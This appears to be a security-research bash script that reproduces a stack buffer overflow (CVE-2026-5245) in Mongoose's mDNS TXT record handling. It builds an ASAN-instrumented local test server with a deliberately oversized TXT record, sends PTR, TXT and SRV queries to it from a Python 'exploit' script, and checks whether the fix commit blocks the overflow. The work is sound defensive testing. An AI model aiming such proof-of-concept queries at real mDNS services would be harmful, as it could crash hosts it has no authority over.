#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VULN_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VULN_DIR"

cd "$ROOT"

echo "=============================================="
echo "CVE-2026-5245 Variant/Bypass Analysis"
echo "=============================================="
echo ""

# Get vulnerable commit info
cd mongoose
VULN_COMMIT=$(git rev-parse --short HEAD)
VULN_SHA=$(git rev-parse HEAD)
echo "[+] Testing version: $VULN_COMMIT"
echo "[+] Full SHA: $VULN_SHA"

# Check if fix commit exists in repo
FIX_COMMIT="0d882f1b43ff2308b7486a56a9d60cd6dba8a3f1"
if git cat-file -e $FIX_COMMIT 2>/dev/null; then
    echo "[+] Fix commit $FIX_COMMIT exists in repository"
    FIX_AVAILABLE="yes"
else
    echo "[!] Fix commit $FIX_COMMIT not found in repository"
    FIX_AVAILABLE="no"
fi

# Check if current commit is before or after fix
if [ "$FIX_AVAILABLE" = "yes" ]; then
    if git merge-base --is-ancestor $FIX_COMMIT HEAD; then
        echo "[+] Current HEAD includes the fix - testing FIXED version"
        VERSION_STATE="fixed"
    else
        echo "[+] Current HEAD is BEFORE the fix - testing VULNERABLE version"
        VERSION_STATE="vulnerable"
    fi
else
    VERSION_STATE="unknown"
fi

echo ""
echo "=== Variant Analysis Plan ==="
echo "1. TXT Query Variant: Direct TXT query with oversized TXT record"
echo "2. SRV Query Variant: SRV query with oversized service data"
echo "3. PTR Query Variant: Standard PTR query (baseline)"
echo ""

# Build variant test
echo "[+] Building variant test binary..."
cd tutorials/udp/mdns-sd-server

cat > variant_test.c << 'EOF'
#include "mongoose.h"
#define MDNS_NAME "test"

unsigned char large_txt[400];

static struct mg_dnssd_record s_records[] = {
    {{"_http._tcp", 10}, {NULL, 0}, 8080},
};

static void handler(struct mg_connection *c, int ev, void *ev_data) {
  struct mg_mdns_req *req = (struct mg_mdns_req *) ev_data;
  if (ev == MG_EV_MDNS_REQ) {
    printf("[+] Got mDNS request! Type=%d\n", req->rr->atype);
    fflush(stdout);
    
    if (req->rr->atype == MG_DNS_RTYPE_PTR) {
      printf("[+] PTR request for %.*s\n", (int)req->reqname.len, req->reqname.buf);
      s_records[0].txt.buf = (char*)large_txt;
      s_records[0].txt.len = 300;
      req->r = &s_records[0];
      req->is_resp = true;
      printf("[VULN-PATH] Setting 300-byte TXT via PTR query path\n");
    } else if (req->rr->atype == MG_DNS_RTYPE_TXT) {
      printf("[+] TXT request for %.*s\n", (int)req->reqname.len, req->reqname.buf);
      s_records[0].txt.buf = (char*)large_txt;
      s_records[0].txt.len = 300;
      req->r = &s_records[0];
      req->is_resp = true;
      printf("[VARIANT-TXT] Setting 300-byte TXT via TXT query path\n");
    } else if (req->rr->atype == MG_DNS_RTYPE_SRV) {
      printf("[+] SRV request for %.*s\n", (int)req->reqname.len, req->reqname.buf);
      s_records[0].txt.buf = (char*)large_txt;
      s_records[0].txt.len = 300;
      req->r = &s_records[0];
      req->is_resp = true;
      printf("[VARIANT-SRV] Setting 300-byte data via SRV query path\n");
    }
    fflush(stdout);
  }
}

int main(void) {
  struct mg_mgr mgr;
  large_txt[0] = 255;
  for (int i = 1; i < 400; i++) large_txt[i] = 'X';
  
  mg_mgr_init(&mgr);
  if (mg_mdns_listen(&mgr, handler, MDNS_NAME) == NULL) {
    printf("[!] Failed to start mDNS listener\n");
    return 1;
  }
  
  printf("[*] mDNS server on port 5353\n");
  printf("[*] Send PTR/TXT/SRV queries to test variants\n");
  fflush(stdout);
  
  for (int i = 0; i < 400; i++) mg_mgr_poll(&mgr, 50);
  
  mg_mgr_free(&mgr);
  return 0;
}
EOF

gcc -g -fsanitize=address -fno-omit-frame-pointer -O0 \
    -DMG_ENABLE_MDNS=1 -DMG_ENABLE_LINES \
    -I. mongoose.c variant_test.c \
    -o variant_test 2>&1 | tee "$LOGS/build_variant.log"

if [ ! -f variant_test ]; then
    echo "[!] Build failed"
    exit 1
fi

cp variant_test "$LOGS/"
echo "[+] Build OK"
echo ""

# Create exploit script
cd "$LOGS"
cat > exploit_variants.py << 'PYEOF'
#!/usr/bin/env python3
import socket
import struct
import time
import sys

def send_query(qtype, service, target="127.0.0.1", port=5353):
    header = struct.pack('>HHHHHH', 0x1234, 0x0000, 1, 0, 0, 0)
    labels = service.split('.')
    name = b''.join([bytes([len(l)]) + l.encode() for l in labels]) + b'\x00'
    question = name + struct.pack('>HH', qtype, 0x0001)
    packet = header + question
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(2)
    try:
        sock.sendto(packet, (target, port))
        type_names = {12: "PTR", 16: "TXT", 33: "SRV", 1: "A"}
        typename = type_names.get(qtype, str(qtype))
        print(f"[*] Sent {typename} query for {service} to {target}:{port}")
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    
    print("=== Testing mDNS Query Variants ===")
    
    # Test 1: TXT query variant
    print("\n[1] Testing TXT query variant...")
    send_query(16, "test._http._tcp.local", target)
    time.sleep(1)
    
    # Test 2: SRV query variant  
    print("\n[2] Testing SRV query variant...")
    send_query(33, "test._http._tcp.local", target)
    time.sleep(1)
    
    # Test 3: PTR query (baseline)
    print("\n[3] Testing PTR query (baseline)...")
    send_query(12, "_http._tcp.local", target)
    time.sleep(1)
    
    print("\n[*] All variants sent")
PYEOF
chmod +x exploit_variants.py

# Run variant tests
echo "=============================================="
echo "Running Variant Tests"
echo "=============================================="
echo ""

./variant_test > server_variant.log 2>&1 &
SERVER_PID=$!
sleep 2

if ! kill -0 $SERVER_PID 2>/dev/null; then
    echo "[!] Server failed to start"
    cat server_variant.log
    exit 1
fi

echo "[+] Server started (PID: $SERVER_PID)"
echo "[*] Sending variant queries..."

python3 exploit_variants.py 127.0.0.1 2>&1 | tee exploit_variant.log || true

sleep 3

if kill -0 $SERVER_PID 2>/dev/null; then
    kill $SERVER_PID 2>/dev/null || true
    wait $SERVER_PID 2>/dev/null || true
fi

echo ""
echo "=== Server Output ==="
cat server_variant.log

echo ""
echo "=== Analysis ==="

# Check for ASAN errors
if grep -q "AddressSanitizer\|stack-buffer-overflow" server_variant.log 2>/dev/null; then
    echo "[VULNERABLE] ASAN-detected stack-buffer-overflow confirmed!"
    if grep -q "build_txt_record" server_variant.log; then
        echo "[+] Triggered in build_txt_record"
    fi
    if grep -q "VARIANT-TXT" server_variant.log; then
        echo "[+] TXT query variant triggered overflow"
    fi
    if grep -q "VARIANT-SRV" server_variant.log; then
        echo "[+] SRV query variant triggered overflow"  
    fi
    if grep -q "VULN-PATH" server_variant.log; then
        echo "[+] PTR query path triggered overflow (baseline)"
    fi
    VARIANT_RESULT="CONFIRMED"
else
    echo "[!] No ASAN error detected"
    echo "[!] Server output analysis:"
    grep -E "VARIANT|VULN-PATH|Got mDNS" server_variant.log || echo "  (no matching patterns found)"
    VARIANT_RESULT="NOT_REPRODUCED"
fi

# Save results
cat > "$VULN_DIR/variant_result.txt" << EOF
VARIANT TEST RESULTS
==================
Date: $(date)
Commit: $VULN_SHA
Version State: $VERSION_STATE
Fix Available: $FIX_AVAILABLE
Fix Commit: $FIX_COMMIT

Test Results:
- Result: $VARIANT_RESULT

Build Log:
$(cat "$LOGS/build_variant.log" 2>/dev/null || echo "N/A")

Server Log:
$(cat server_variant.log 2>/dev/null || echo "No log available")

Exploit Log:
$(cat exploit_variant.log 2>/dev/null || echo "No log available")
EOF

echo ""
echo "[+] Results saved to $VULN_DIR/variant_result.txt"
echo ""

# Test on fixed version if available
if [ "$FIX_AVAILABLE" = "yes" ] && [ "$VERSION_STATE" = "vulnerable" ]; then
    echo "=============================================="
    echo "Testing Fixed Version (Bypass Check)"
    echo "=============================================="
    echo ""
    
    # Create a separate worktree for the fixed version
    cd "$ROOT"
    if [ -d "mongoose-fixed" ]; then
        rm -rf mongoose-fixed
    fi
    
    git clone mongoose mongoose-fixed 2>&1 | tail -3
    cd mongoose-fixed
    git checkout $FIX_COMMIT 2>&1 | head -3
    FIXED_SHA=$(git rev-parse HEAD)
    echo "[+] Testing fixed commit: $FIXED_SHA"
    
    # Build fixed version
    cd tutorials/udp/mdns-sd-server
    
    # Use same test code
    cp "$ROOT/mongoose/tutorials/udp/mdns-sd-server/variant_test.c" .
    
    gcc -g -fsanitize=address -fno-omit-frame-pointer -O0 \
        -DMG_ENABLE_MDNS=1 -DMG_ENABLE_LINES \
        -I. mongoose.c variant_test.c \
        -o variant_test_fixed 2>&1 | tee "$LOGS/build_fixed.log"
    
    if [ -f variant_test_fixed ]; then
        cp variant_test_fixed "$LOGS/"
        
        # Run fixed version test
        cd "$LOGS"
        ./variant_test_fixed > server_fixed.log 2>&1 &
        FIXED_PID=$!
        sleep 2
        
        if kill -0 $FIXED_PID 2>/dev/null; then
            python3 exploit_variants.py 127.0.0.1 > exploit_fixed.log 2>&1 || true
            sleep 3
            kill $FIXED_PID 2>/dev/null || true
            wait $FIXED_PID 2>/dev/null || true
        fi
        
        echo ""
        echo "=== Fixed Version Server Output ==="
        cat server_fixed.log 2>/dev/null || echo "No log"
        
        if grep -q "AddressSanitizer\|stack-buffer-overflow" server_fixed.log 2>/dev/null; then
            echo ""
            echo "[BYPASS] Fixed version still vulnerable! Potential bypass found!"
            BYPASS_RESULT="BYPASS_FOUND"
        else
            echo ""
            echo "[GOOD] Fixed version blocked the overflow"
            BYPASS_RESULT="BLOCKED"
        fi
        
        echo "BYPASS_RESULT: $BYPASS_RESULT" >> "$VULN_DIR/variant_result.txt"
    fi
    
    cd "$ROOT"
    rm -rf mongoose-fixed 2>/dev/null || true
fi

echo ""
echo "=============================================="
echo "Variant Analysis Complete"
echo "=============================================="
echo ""
echo "Summary:"
echo "- Vulnerable Commit: $VULN_SHA"
echo "- Fix Commit: $FIX_COMMIT"
echo "- Variant Result: $VARIANT_RESULT"
if [ "${BYPASS_RESULT:-}" != "" ]; then
    echo "- Bypass Test: $BYPASS_RESULT"
fi